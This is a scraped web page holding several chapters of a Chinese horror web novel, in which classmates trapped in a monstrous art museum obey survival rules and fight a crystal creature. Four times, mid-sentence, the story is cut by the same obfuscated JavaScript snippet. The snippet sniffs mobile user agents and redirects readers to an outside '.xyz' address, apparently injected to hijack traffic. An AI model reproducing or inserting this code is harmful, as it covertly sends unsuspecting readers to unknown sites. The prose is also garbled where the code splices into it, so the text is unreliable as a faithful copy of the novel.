l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831798|159007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是提取到守则背后的关键信息——至少纸张上印的是文字,而不是扭曲的划痕。 季南摸了摸那些鲜红的字迹,触感比纸张要粗粝些,像是被液体浸染过的干涸,隐隐散发着血腥味。 她接着说:“现在的疑点是——他们所留下来的内容是否可信?” “可信,肯定可信!”体委信誓旦旦,“剧本里都是这么写的。” “是吗。”季南问他,“第十条,本馆没有出口。可信?” 体委顿时支支吾吾,也说不出什么,讪讪闭嘴。 守则可不可信另说,体委嘴里说出来的话肯定没谱。 “如果要按照守则上说的来做,我们得抓紧时间。”季南摸摸下巴。 “根据守则2.美术馆开放时间为8:00——13:00以及16:00——20:00,其余时间不得停留……如果留下守则的人是为了帮助我们离开,那么显而易见——这是一次限时通关游戏。” 得出结论:“我们得走了。” 季南环顾四周,雪白墙壁结结实实地堵住每一个角落。 走?往哪走? 连守则一中提到的画框都见不到。 “不……不,我不走。” 班长脸上的妆早就被眼泪洗掉,花的不成样子。 “太诡异了……我不去,我才不去,你们谁爱去谁去,想去送死的自己去送死!” 她紧紧拽住纪委的胳膊:“你会陪我待在这里,对吧哥哥?” 纪委面露难色,挣了挣,没挣动,轻声劝她: “要不我们还是走吧,在这待下去也不是办……” 话还没说完,纪委成了在场第二个挨巴掌的人。他没有防备,脑袋都偏到一边去。 “你忘了我给过你多少钱吗?要不是我,你能活到现在?你必须听我的!!” 纪委不说话,也不动弹,保持着被打时的姿势。 她几乎歇斯底里,发现纪委并不买账后,又小心翼翼地抱住他讨好。 “我不是故意的对不起…对不起,我太害怕了…别离开我…” 一副精神失常的样子。 半晌,纪委拍拍班长的背:“别怕,我就在这。” 季南看得清楚,他眼里有很多东西,嫉妒,恨,还有恋慕,复杂的情绪一闪而过,最终成了一潭死水。 旁边的警察抬起的手又慢慢放下。 季南并不想和一个关键时刻脑子就罢工的人一起行动,但是—— 这地方毕竟太诡异,她需要几个美名为同伴的……试验品。 别误会,不是要害死他们的意思。 人的愚蠢会主动让自己踏入陷阱,到时她只要作壁上观便好。 当然,她自己也有可能是掉进陷阱的那一个。 季南弯弯嘴角,熟练地露出个无懈可击的温和笑容,走近班长。 而在他们看不见的地方,那两尊石像身上的红宝石闪了闪,愈发深邃。 “班长,冷静一点,现在不是耍小孩子脾气的时候。我们团结起来,总能出去的。” 季南伸手想拍拍她的背,被她一巴掌打开。 “不用你假好心!”她恨恨地盯着季南,“我才不跟你走!” 见班长这么抵抗,季南叹了口气。 看来是对她之前说的那些话怀恨在心,连经营许久的温柔人设都不管用了。 表情不变,季南的笑容依旧动人,却莫名透出一股冷硬来。 她淡淡地:“你知道的,现在有很多人失踪了,很多很多。” “猜一猜,来到这里的有几个?” “而活下来的又有几个?” 在季南堪称阴冷的语调下,班长的抽噎声不知何时停止了。 季南继续道:“来到这里的人中,有几个留在原地?你再看看周围,是不是干净到亮眼?” “你说,他们是都出去了吗?” “不然……” 班长的脸色越发僵硬。 “不然,怎么连一句骸骨都见不到?” “……” 班长惨白着脸,还是不说话,但季南知道她已经改变了主意。 当—— 当—— 当—— …… 钟声如雷灌耳,总共响了十一下。 这时,一直远远地站在另一侧的小透明突然尖叫出声。 季南猛地回头,看见小透明几乎恐惧到铁青的脸,她颤抖的指尖直勾勾对着那两尊石像。 “它们……它们动了!” 4. 第 4 章(替换) 石像在动。 缓慢地靠近他们。 那些巨大的、怪异崎岖的腕触在蠕动摇曳。石像仿佛被赋予血肉的活性,随着红宝石的闪烁咚咚地抽搐,犹如痉挛的肉块。 而在骇人的腕足之间,石像在溢裂,大小不一的缝隙起起伏伏,细密尖牙犹如波涛闪烁。 耳边,谁在低语,谁在呢喃。 来自深海,太空,密林的深处。 空气…无法呼吸…… 季南的大脑开始不受控制,脑海里尽是触手降下来的画面。 那该是极度的恐怖,遮天蔽日,底下的人还未等反应便被压成肉泥,骨头也被尽数碾碎,混合脑浆被送进石像的身体里。 在石像面前,他们只不过是几只弱小的虫。 恐怖,恐惧, 恐怖、恐惧、 恐怖。恐惧。 季南听见自己的呼吸声。 她清醒了一点,极力控制被挟持的大脑,将视线从石像身上艰难地移开,余光中,她看见六个画框,好端端地挂在石像背后的墙上。 明明刚才还没有。 她突然想起守则第一条:1.请尽快在大厅选择属于您的画框,一定要尽快。 原来尽快是这个意思! 画框为何突然出现已经不重要了,季南转头提醒他们选择画框,然而他们目光呆滞,仰头凝望着石像,任凭季南如何呼唤也不给反应。 在这短短的时间内,石像越发像个活物,季南甚至能看到红宝石中极深的黑色,漩涡似的转,像是瞳孔。 ……差点又陷进去。 就算是季南,此刻也要忍不住在心里骂人了。 这到底是什么鬼地方?? 在几乎碾碎理智的恐怖中,连抬起脚步,如此简单的行动都变得异常艰难。 但是她还能动。 这时候,季南庆幸自己不是一个普通人——至少普通人没有那个力气把五个成年人精准地踹到画框面前。 “真麻烦。” 几秒钟后,五个人以形态各异的姿势趴在画框上,随着季南触碰最后一个画框,石像停止异动,另外五个人的时间重新在他们身上流动。 氧气重新回到肺里。 他们瞬间瘫软在地,看着眼前的画框不明所以,双腿颤抖着,站都站不起来。 纪委疑惑:“刚才发生了什么?怎么突然……我刚刚不是站在这里啊。” 体委则捂着屁股哀嚎:“嘶——屁股上好痛,刚才谁踹了我一脚!” 他们孱弱的大脑甚至无法记住刚刚发生的一切。 而季南记得,记得一清二楚,她勉强站立,强撑着说:“不知道,但不管怎么说,我们完成了守则的第一条。” 无论这里是什么鬼地方,季南暂时还不想暴露自己的能力。 出于某种原因,她的身体机能比普通成年男性强上三倍不止,所以她才有信心从四楼跳下全身而退,才能在刚刚的重压下行动。 归根结底,都是硬件问题。 体委忽然摆出一副胸有成竹的表情:“我懂了!” “一定是有高人在暗中帮助我,说不定我能在这里获得什么奇遇。”他顿了顿,故作沉思,“比如寄生在玉佩里的老爷爷?” 他当这里是修仙小说吗? 六个画框从被他们触碰的那刻悄然发生变化,笔画凭空出现,在白纸上勾勒描绘,将他们现在的模样完完整整地呈现在画框中。 等再一抬眼,墙壁中间,一条长廊闯入众人的视野,隐约能看到另一边的光景。 同画框出现时一样毫无征兆。 纪委吓得一哆嗦:“卧槽什么东西!” 季南则若有所思:“是因为我们满足了什么条件吗,比如完成了第一条守则?” 仔细回想,画框出现的时间也很蹊跷,恰恰在季南‘说服’班长之后。 但无论如何当务之急还是—— 一直没出声的警察看了看头顶的摆钟:“美术馆开放时间为8:00——13:00以及16:00——20:00,现在已经十点,我们得走了。” 季南却皱眉:“十点?” “怎么?” “刚才摆钟明明响了十一下。” 警察迟疑:“……你没听错吧?” 还没等季南肯定,小透明开口:“我也数过了…是十一下。” 小透明拿出手机,试图对一对时间,被屏幕上不断闪烁变换的数字吓得一哆嗦。 3.只有钟表的时间是正确的,请不要相信其他显示时间的设备,包括您随身携带的电子设备。 “算了,先别纠结这些。” 季南余光瞟过那两尊石像,它们回到了原位,连每一根腕足弯起的弧度都与之前分毫不差,仿佛从未动过。 回忆起那铺天盖地的恐怖,季南心里涌上一阵恶寒。 “我们走,现在,立刻,马上。” 由警察领头,其余人跟在身后。 班长紧紧挽着纪委的胳膊,又把小透明拉到身前,并恶狠狠地警告她: “就在我前面挡着,不许动,听见了没!” 小透明没说话。 班长推搡她一把:“我问你听见了没有!” 小透明猝不及防被推了个踉跄,撞在季南后背。 季南顿了顿,微微转头,不带情绪的黑色眼睛淡淡睨着她。 “不…不好意思。” 小透明移开视线。 透过刘海的缝隙,季南看见小透明姣好的面容,以及她眼中一闪而过的愤恨。 季南眨眨眼,只是说:“现在班长身边只有纪委一个。如果我没记错的话,纪委以前说过,他不打女人。” 纪委抬了抬眼,不说话。 他知道这时候万万不可插嘴,说什么都是错。 “你什么意思!” 班长忽地对上小透明的视线,嗓音更尖锐了。 面对班长的强势,小透明微微移开视线,习惯性地露出一丝怯懦。她尝试重新与班长对视,却看见她夹起一根烟。 打火机咔嚓一声响,星火闪过,丝缕白烟如云雾升起。 小透明呼吸一滞,猛地低下头。 “……现在不是谈论这个的时候。” “也是。”季南面无表情,看不出半点心中所想,“你到我前面去吧。” 小透明还是低着头:“谢谢……” 班长吞云吐雾,看向小透明的眼神轻蔑,不屑地轻笑。 前面带路的警察悄悄松了口气——让他去抓持刀行凶的杀人犯都可以,处理孩子之间的纠纷,他是真的头疼。 走廊到了尽头,豁然开朗,他们进入一个比大厅略小一些的房间。 他们依旧可以透过玻璃天花板看到上方的摆钟,无论从大厅看还是从这个房间看,摆钟始终悬挂在房间的正中央,上面显示的时间与在大厅时看到的相差无几。 所有人踏入房间后,身后的走廊便消失了,没有前进的路,他们又被困在这个房间里。 相比于其余人的惊慌,体委倒是镇定的很。 “按照正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831799|159007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情节发展,有退路才奇怪。” 众人的目光不由得被房间中央的展品吸引,鸵鸟蛋一般大的海蓝宝静静躺在玻璃展柜中,在灯光的照射下映出粼粼水光,漂亮的像是婴儿的蓝眼睛。 “好漂亮……”班长几乎看愣了。 “连班长都这么说,想必这东西十分值钱。”体委嘿嘿一笑,“难不成这就是我的奇遇?等我出去后就是亿万富翁啊!” 季南只是淡淡看那东西一眼,便把目光转移到别处去了。警察也是一样,他叮嘱众人绝对不要乱碰房间里的东西。 墙角立着四个花瓶,一边的墙壁上挂着六个画框,分别对应他们六个人的模样,而另一边则满是弯弯曲曲的划痕,几乎占了一整面墙。 在看到划痕的一瞬间,即便不想知道,季南也不得不明白其中的意思。 “水晶史莱姆,位于进化王国金字塔底,是最为低等的生物,但仍保留进化基因……” 警察喃喃念出他读到的信息,一脸菜色。 看来大脑强行被扒开的滋味并不好受。 他继续道:“水晶史莱姆只拥有最原始的生物本能,它们会食用所能感知到的一切生物,以此丰富自己单一的基因库。尽管弱小,但它们会不停地吃……” 警察说不下去了。 它们会不停地吃、吃、吃、吃—— 吃吃吃吃吃吃吃吃吃吃吃吃吃吃吃…… 被吵到了脑子,季南转移视线,心下确是松了口气。 按墙上的话说,这个房间中的展品就是所谓的水晶史莱姆。它很弱,还被关在展柜里,只要不随便碰它的话应该不成威胁。 “啊!!!!” 伴随着重物落地的声音,身后突然传来一声惨叫。 体委捂着手,指间缝隙鲜血汩汩,水龙头似的淌到地上。 美丽的湛蓝色水晶此时鲜血淋漓,咕噜噜滚圆,翻滚间,一根断指嵌在其中,不断沉下去。 季南心里一沉,几乎有些后悔与他们行动了。 警察反应极快,一脚上去把水晶踢开好远。 班长还在一旁幸灾乐祸:“都说了别乱动,你非要说这是你的机缘。” “卧槽卧槽……我就拿出来看看而已,这水晶怎么还会咬人啊。”体委缓过来一点,低头看向自己的伤口,顿时傻眼。 “我的手指,我的手指没了…怎么会这样!我的手!” 看他伤势如此严重,班长也说不出风凉话了。 这个蠢货。 无视体委的吱哇乱叫,事情已经发生,现在去斥责他也毫无意义。 “你们几个退后!”警察拿出手/枪,厉声喝道,面目凝重。 季南知道自己与他想到一块去了——墙壁上说,它会通过摄食丰富自己的基因。那么如今摄取过人类基因的它,会变成什么样? 断指彻底被吞噬,水晶静静地躺在地上。 看着严阵以待的季南二人,纪委有些摸不着头脑:“你们在做什么?” 话音刚落,水晶微微颤动起来。 不,那不是颤动,而是跳动。 水晶史莱姆内部形成一个红色的圆点,以肉眼可见的速度扩大,心脏似的搏动,连带着水晶本身一起。 须线从圆点处蠕虫似的爬出来,蔓延到整个水晶。 水晶在扩大,长出四肢似的轮廓,须线也跟着蔓延过去。 砰、砰。 两颗子弹精准无误地嵌入水晶,打破其中红色的丝线。红色的液体从其中渗出来,就像—— “血?” 5. 第 5 章(替换) “血?” 班长喃喃出声,表情逐渐变得惊恐,嘴里的烟不知何时掉在了地上。 两颗子弹并没有阻止水晶的异变,它站起来了。 水晶史莱姆的腿比季南的胳膊还要细,却长的离奇,没有脚,却能颤巍巍支撑起它的身体、同样细长的手臂、以及只有网球大的脑袋。 身体正中,蜘蛛网似的裂痕随着水晶的动作吱呀作响,水晶碎片有意识地汇集,堵住伤口,不让红色液体继续泄露。 通过摄取人类的基因,水晶史莱姆变成一个可怖的类人生物。 水晶一动不动,但季南知道它在注视着他们。 用充满食欲的眼神看向来之不易的食物——自动送到嘴里的蠢货。浑身上下的每一处意图都写满了贪欲。 感觉黏黏糊糊的,像是被舌头舔了一口。 真恶心。 “这是什么鬼东西……”班长捂着嘴,连大气都不敢多喘。 但下一秒,她几乎失声。 “它动了!啊!” 班长被吓得捂住耳朵。 察觉到水晶行动的瞬间,四声木仓响猛然炸开,水晶被四颗子弹连连击退,最终倒在地上,类似鲜血的液体汇聚成滩。 季南闻到弥漫在空气中血腥味。 这些液体竟然真的是血吗? 子弹掉落,水晶碎片自发堵住破损的地方,这几颗子弹并没有对水晶造成实质伤害。 警察利落地换上新的弹夹,凝重道: “最后六颗子弹了。” 用完这六颗子弹,他们便再也没有防身手段,彻底沦为菜板上的鱼肉。 季南不确定自己的力量可不可以破坏水晶,但就算能破坏又能怎样?能破坏并不代表能杀死。 季南紧紧盯着水晶,它已经重新站起来,身上的血也不再流了。 等等。 它为什么不让血流出来? 这听起来像句废话,但是——失血过多就会死,这只是地球上生物的生存铁律,人类的生存铁律。 对怪物而言会有用吗? 既然它耗费能量去阻止出血,那么—— “照着身体右侧的红色圆点打。”季南说话的声音不大,但足以让警察听见,“水晶现在的身体是仿造人类形成的,让它的血流干。” 警察确认:“像心脏的那个?” “没错。” 砰。 警察丝毫没有犹豫,子弹嵌入水晶,却没有触及到深处的红圆,警察当机立断又补了一枪。 伴随着震耳欲聋的枪声,大量鲜血喷涌而出,空气中尽是血的腥臭味。 水晶摄取了人类的基因库却没有完全变成人类的样子,说明它只拥有人类的部分基因,至于血流完会不会死,看运气吧。 归根结底,这是一场赌博。 赌博从来是季南选择中的下策,但此时别无他法,季南已经根据水晶的行动做出了最佳选择。 至于暴露自己,那是下下策。 他们只是散排,当然要保着自己打。 若是暴露,且他们都活着出去,后患无穷。 水晶扭动着身躯,异常焦躁,水晶碎片快速聚拢,遮挡破损,迅速止住了出血。它似乎意识到不能一味挨打,挣扎着向他们靠近。 “别过来!” 在班长堪比枪声的惊叫中,警察继续开枪,才修复好的伤口顿时鲜血淋漓。 水晶修复的速度愈发缓慢,一旦出现止血的趋势,警察便开枪。 如此往复,最后六颗子弹消耗殆尽,水晶体内的血也差不多流干了。 水晶还想靠近他们,颤抖着伸出几近透明的手臂,渴望着,像是沙漠中垂死前见到绿洲的旅人。 它还是倒下了,死在绿洲眼前,手臂和腿都摔成一块一块的碎片。 季南呼了口气,看着水晶身体上极深的窟窿,不禁问: “警察的枪法都这么好吗?” “当然不是。” 眼看危机解除,警察也有心思开玩笑了。他装模作样地吹了吹枪口,道:“我可是队里实战训练第一名。” 季南与警察说了两句,反观后面,一点声都没有。 她回头一看,发现他们呆的呆,傻的傻,体委蹲在角落瑟瑟发抖,班长缩在小透明身后,紧紧地抓着小透明的胳膊,不让她走。 小透明脸色煞白,明显是被吓傻了,连自己被当做挡箭牌都不知道。 回忆起这场危机因何而起,季南点了点额头,转头对警察道:“不如我们走吧,就我们两个人。” 看来看去,就这位警察还有点用,剩下的人不拖后腿就是好事了。 警察没反应过来:“啊?” 季南摊手,表情无辜:“没事。” 现在这个情况,人越多越是累赘,季南不是没想过就他们两个上路,但她愿意,警察肯定不愿意,剩下的几个人更不愿意,自己会被群起而攻之,那还不如一起行动。 之后还不知道会发生什么,一定有他们可以派上用场的地方——季南如此安慰自己。 他们的愚蠢的确让自己掉进了陷阱,但季南……她也被扯进陷阱里了。 呵呵。 “没事了吗?”体委嘴唇发白,眼神发飘,“能不能帮我包下伤口?我快…失血过多……” 班长狠恶恶地盯着体委。 “你还好意思说话?要不是你非得去碰展柜里的东西,我们也不至于损失唯一的武器!” “我不也掉了根手指嘛……”体委唯唯诺诺。 “那是你活该!” 警察苦哈哈地去帮体委包扎,他的包扎手法十分专业,成功让体委拜倒在他的警服下—— “救命!你轻点,疼疼疼疼……” “不用力怎么止血,你忍一下。” “我当然可以忍住!我可是…嘶——” 季南表示自己不想参与那边的闹剧。 水晶史莱姆没了声息,但房间依旧是原来的样子,并没有显现出前进的道路。 她自语:“条件还没有达成吗?” 难不成通关条件并不是‘打败房间里的怪物’? 小透明突然出声了:“那个……我发现了一张纸条。” 声音太小,没人听见。 除了季南。 她走上前,小透明不知怎的变得有些局促:“这个,是,是我在花瓶旁边找到的。” 季南和善地笑笑,接过纸条。 111(位于左上角,似乎是某种标记) 不要去看花瓶里面!!! 我看到了……里面……红色的东西……白的……还有肉,不知道是不是人类的……(旁边画了个圆形,其中用红色涂满) 整张纸条除了几句不明所以的话外一无所有。 “肉?” 季南的嗅觉比普通人要灵敏的多,如果花瓶里有任何具有刺激性气味的东西,季南在进房间时便能察觉,不需要一张纸条来提醒她。 身后突然传来细微的破空声。 季南猛地回头,只来得及捕捉一线光影。 伴随着□□迸裂的微妙声响,细长的水晶锥体已然刺入体委的咽喉。 起初,体委脸上还带着茫然,但随着痛苦与窒息,他的面容逐渐扭曲,大片鲜血从口中渗出,伴随着令人心惊的咯咯声。 那是呼救,还是濒死前的呐喊? 体委拼劲全力把咽喉中的异物拔出,换来的却是更加汹涌的血。 警察愣了一瞬,迅速反应过来,按住体委的伤口。 “快给我撕几个布条!” 小透明:“好……好的。” “伤口很深但是不大,可以堵住,你别着急,放松……” 班长却喊:“快看后面,那怪物还活着!” 水晶史莱姆缓缓站起,手臂一甩,断口处垂垂欲落的碎片便化作杀人利器飞袭而来,体委就是被那样刺破了喉咙。 晶体击碎展柜,飞溅的玻璃碎片划过班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831800|159007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长的脸,插进她身后的墙壁。片刻后,一道长长的血痕在她脸上浮现。 班长张嘴。 班长要尖叫了。 班长没叫出来,因为一声巨响把她的尖叫卡在喉咙里。 一个黑色不明物体穿过破碎的展柜,直直冲刚站起来的水晶史莱姆而去,砰地一下把它砸到在地。 这次它连身体都摔得四分五裂,再也没有站起来的能力。 仔细看过去,击倒水晶史莱姆的竟是一把手/枪. 季南还保持着投掷的姿势。 警察后知后觉,摸了摸腰间的空枪袋,有些茫然。 “什么时候拿走的?” “就刚才。”季南一副若无其事的样子,“反正也没子弹,扔过去也没问题吧。” “你说的也对,但是……” 总觉得哪里不对。 “咯…咳咳…” 体委痛苦的呜咽声拉走了警察的注意力。 季南面色不动,心里暗自松了口气。 连着两发子弹才能打穿一半的水晶,怎么可能被一个普通人扔出去的铁疙瘩打的四分五裂。 水晶史莱姆没了声息的同时,墙壁上出现一条长廊。 并不是季南估计错条件,而是水晶史莱姆刚刚压根就没有死。 体委喉咙处的伤口依然在涌出血液,浸透了包扎的布条,他双手掐住喉咙,甚至扣抓自己的伤口,指甲缝里全是血,表情比刚才还要狰狞。 “怎么回事?” 体委说不出话,掐着自己的脖子,一副要翻白眼的样子。 警察面色一变,作为队伍里唯一靠谱的成年男性,很快察觉到哪里出了问题。 他扒开体委的嘴巴,端详片刻,伸手探了进去,不一会又退出来。 “他喉咙里有块异物,很硬,卡得太牢,我不敢硬拔。” “那个……”小透明举起手,“我刚才好像看见,一块水晶碎片飞到他嘴里去了。” 季南顿住。 眼睛睁大,瞳孔微微紧缩,自进入美术馆来,他们第一次从季南脸上看到能称之为惊慌的表情。 “必须把他嘴里的东西拿出来。” “守则5.不要把美术馆内的任何东西放进嘴里,不要吃下美术馆内的任何东西。即使它会吃你。” 说着,她已经蹲在体委面前,伸手去扒他的嘴。 “我早就受够了!” 班长用力把化妆镜砸了个粉碎。 自季南解决水晶史莱姆,班长就掏出随身携带的化妆镜照个不停,对体委不管不问。在班长眼里,她这张脸可比体委的命要重要的多。 然而看见脸上又长又深的划痕时,她再也受不了了。 “为什么我们必须要遵守守则,如果遵守守则就能安全出去,那我们刚刚所经历的又算什么?怪物不还是出现了吗?这样的守则就算不遵守又怎样!” 季南连一个眼神都没赏给班长,同她辩解是没有必要的,因为他,他们,根本就不记得。 他们不记得石像的动作,那仿佛遮天蔽日的触腕,来自深海,宇宙,森林的低语,不记得那几乎刻骨铭心的恐惧,绝对的死亡威胁。 他们不记得违反守则的后果。 季南对警察道:“你扒开他的嘴,我把那东西拿出来。” 警察很犹豫:“可那玩意卡的很深,要是一不小心从里面再划开一道……” “我尽力。”季南道,“看见没有,他已经无法呼吸了,就算不拿出来,他也会窒息而死。” “好吧。” 警察话音未落,体委嘴里突然涌出大量的血,伴随着他突然顺畅的呼吸,季南刚平静下来的表情再次出现裂痕。 “这个蠢货!” 他竟然以划破喉咙为代价将水晶碎片整个吞下了。 怎么每次坏事的人都是他! 季南当机立断,猛地掐住他的脖子,试图了解他的性命。 然而触及之处坚硬无比,如同水晶。 6. 第 6 章(替换) 不断从口中溢出的鲜血令他癫狂的神色更加可怖,他像是被放到冰川里,血肉凝固褪色,成了水晶一样的湛蓝。 皮肤、鼻子、嘴巴、眼睛……所有暴露在外的地方凝结成固体,散发着透亮晶莹的矿石色泽。 这异变近乎诡异,季南与警察连忙退开。 不过几秒的功夫,体委便不再吐血了,季南甚至不确定他身体里到底还有没有血——他们惊疑地望向正开怀大笑的水晶人。 颈间浸着血的绷带滑落,露出伤口,周围的水晶碎片缓缓将那红色的洞阖上,最终光洁一片。 “哈哈!我就知道!” 声音掺杂了非人的磁性,仿佛水晶在嗓子里碰撞研磨。 “痛苦、绝望,一切都是考验,唯有通过考验的人才能获得机会!而我——”他双手紧握成拳,近乎失智,“就是那个能把握住绝大多机会的人。” 他又小声,嗓音中有着近乎喜极而泣的笃定。 “我就是…主角。” ……这个中二病没完了是吧。 墙上,属于体委的画发生了变化,体委的形象被新的笔画覆盖,俨然成了他现在的模样——一坨人形水晶,在展灯的照耀下熠熠生辉。 班长几乎看呆了:“怪物…他变成了怪物…” “怪物?”体委微微歪头,“话说的别那么难听,我只是变强了,仅此而已。” “我只是…进化了。对,进化。” 进化。 关键词触发,季南想起守则末尾那条异常工整的守则。 守则11.一切都是为了进化。 进化,就一定是好的吗? 体委近乎沉醉:“我还需要获得更多,我还能变得更强……” 面对如此妄言,季南不由得提醒他:“别忘了守则9.切记,您所得到的一切无法带离美术馆。无论你获得多强大的力量也只是暂时的,太过贪婪,小心玩火自焚。” “暂时的?谁知道呢。”体委不以为然,甚至有些肆无忌惮。 “就算是玩火,如今你们也只得陪我一起玩了。”他摊摊手,“8.假如您违背守则5,请尽可能地让所有人强大起来。听清楚没有?是所有人。” 不得不承认,他说的没错。 但别忘了守则的后半。 8.假如您违背守则5,请尽可能地让所有人强大起来 它已经能闻到你们的气味了。 必须在它■■■之前。 其中提到的‘它’,又是什么? 这也是为什么季南企图杀掉刚吞下水晶的体委。 他为了一己私欲将所有人拉下水,共同面对未知的敌人,让原本就迷蒙的局势更加无解,简直毫无考量。 小透明哇地一声吐了出来,泪水挂在下巴上,狼狈不堪。 “我不要…好恶心,我才不要变成怪物…” 季南也不想。 “都说了我不是怪物。” 体委撇撇嘴——或许吧。在剔透的水晶头上,一切表情都显得模糊不清。 他走上前,鞋底哒哒地响,每靠近一步,小透明便后退一步,脸上的神情愈发害怕。而体委仿佛看不懂似的,执意逼近,直到一只手拦住了他的去路。 透明的眼眸顺着手臂向上看,倒映出一张年轻的脸。 “够了,我们已经在这个房间浪费了半小时,该走了。” 警察镇定自若,一如往常。至少在体委的眼中是这样。 而季南站在警察身后,那只背在身后的、颤抖的手便在季南眼中无所遁形。 体委与警察对视几秒,耸耸肩:“你说的也是。” 众人重整旗鼓,踏进新出现的长廊。 体委挤到最前面,领头的位置。 那颗水晶头出声了:“我来打头吧,毕竟——我现在是最强的。” 呵。 季南在心里冷笑。 身后,班长扣抓着脸上的伤痕,浑身上下都散发着焦躁的意味,手上的动作一刻不停,想把那伤口整个扣下来似的。 直到纪委抓住她的手。 纪委自然知道班长有多在意她那张脸,家里的护肤品几乎装了一柜子,即便上学迟到,也要做完每天早上的护肤工作。 “别动它了,会好的。” “都成这样了,如果不快点上药,肯定会留疤。” “留疤就留疤嘛,又不是什么大不了的事,过几年就褪得差不多了。” 班长咬着下唇,“你懂什么,我才不要留疤!你们本来就是因为这张脸才喜欢我的,若是我不好看了…” 她语气中带着忌惮。 “我的那几个弟弟妹妹,早就对我的位置虎视眈眈。若是我脸上受了伤…他们,我的——” 班长顿了顿。 “我的父母会认为我上不了台面。” “等到那时,我将会失去一切……和现在的他们一样,连与父母住在一起的资格都没有。” 纪委犹豫地说:“……你不是还有我吗?” “还有你?”班长瞥他一眼,“我落魄了,第一个走的就是你吧。” “啧,我承认自己挺混的,但绝不是忘恩负义的人。” 纪委挠挠头:“当初我差点活不下去,是你救济的我,以后你活不下去……大不了我也救济救济你。” 半晌。 她语气平平,让人听不出情绪:“你想多了,我怎么也沦落不到要靠你救济的地步。” 因为听力出众被迫听完全程的季南面无表情,表示对小情侣之间的对话毫无兴趣,并对班长家庭成员的教育能力表示深刻怀疑。 话说,这种话题应该等能活着出去再讨论吧。 众人到达第二个房间,身后的走廊消失不见。房间布局与前一个相差无几,边角的四个花瓶,六个画框,唯一的区别便是展品的不同。 一只有两人高的、形状类似千足虫的怪物雕像伫立在房间中央,腕足大小不一,每个腕足的末端都存在一个空洞,里面长满细密的尖牙。 怪物朝他们直立起身子,张牙舞爪,仿佛下一秒就会扑过来。 体委一哆嗦,身上的水晶相互摩擦,哗啦啦地响,小透明则下意识后退了一步,踩上班长的脚,班长吃痛,嘴里吐出句脏话。 “对不起对不起…啊!” 小透明连忙道歉,还是被班长一个猛推推倒在地,脑袋嗑到体委的脚后跟,她从地上摊了一会,爬起来,手颤颤巍巍地摸向自己的额头。 一手鲜红。 满手的鲜血吓得小透明几乎不会哭了,警察蹲下帮她包扎伤口,完事后扶着额头叹了口气,勉强正色,对班长实施一番口头教育。 班长轻哼一声,又点了根烟,嘴里的烟气几乎呼到警察脸上。 “别说废话了,你带我出去,钱少不了你的,足够你不工作也衣食无忧。” 警察皱皱眉:“我当警察不是为了钱。” 在他们说话的时间,季南已经知晓了墙上划痕的意思: 进化王国的侍从,灾厄路过时的幸存者,周边组织遭受过强的吸力,形成粗细不一的腕足,侍从可以很好的利用它们。 啃食过国王的肉屑,因此对王国忠心耿耿,会吃掉所有意图进入王国的物体。 无论是石头,虫子,动物,植物,人,肉块,蠕动的肉条,长满触须的,贴地爬行的,长满尖牙的…… 唯一的通行方法: 吃掉我,碾碎我(扭曲的字体) 吃掉。 季南看了看房间的千足虫,想想把这玩意放进嘴里的画面……实在提不起食欲。 与此同时,那怪物最外层的石片开始剥落,露出漆黑的内里,像是冻僵的肉/体逐渐回暖,腕足逐渐蠕动扭曲,相信过不了过久就能真的扑上来啃食他们。 而他们唯一的武器在上一个房间消耗殆尽。 “碾碎?这不简单。”体委做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831801|159007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起跑姿势,身上的水晶在灯光照耀下闪闪发亮,“再怎么吓人也不过是一堆肉块,我碾碎他不是轻而易举?” “看我表演,到时候你们在地上捞碎泥就可以。” 不要直接莽过去。 季南刚想开口提醒,体委已经冲上前,迈着势不可挡的步伐,一步步靠近怪物—— 在众人翘首以盼的目光里碎成几大块,依着惯性向前抛了段距离,最后重重落在地上,晶体碎片崩的到处都是。 他用仅剩的一条胳膊触摸自己的腹部,却什么都没摸到,只有剖面闪着镜面似的光。体委圆润的头颅中发出惨绝人寰的叫声。 季南最先回过神:“站在原地不要动!” 告诫众人后,她眯起眼睛在室内寻找切碎体委的东西。 果然,一条条极细的丝线不知何时布满房间,延伸到每个人周围,只要稍微动作大点必定会嵌到肉里去。 季南的眼睛顺着丝线的来源移动,最终落到房间中央、怪物的腕足末端。 石片已然全部剥落,千足虫数不清的嘴里窸窸窣窣地作响,像是无数虫子在天花板上滑动,但怪物并没有多余的动作。 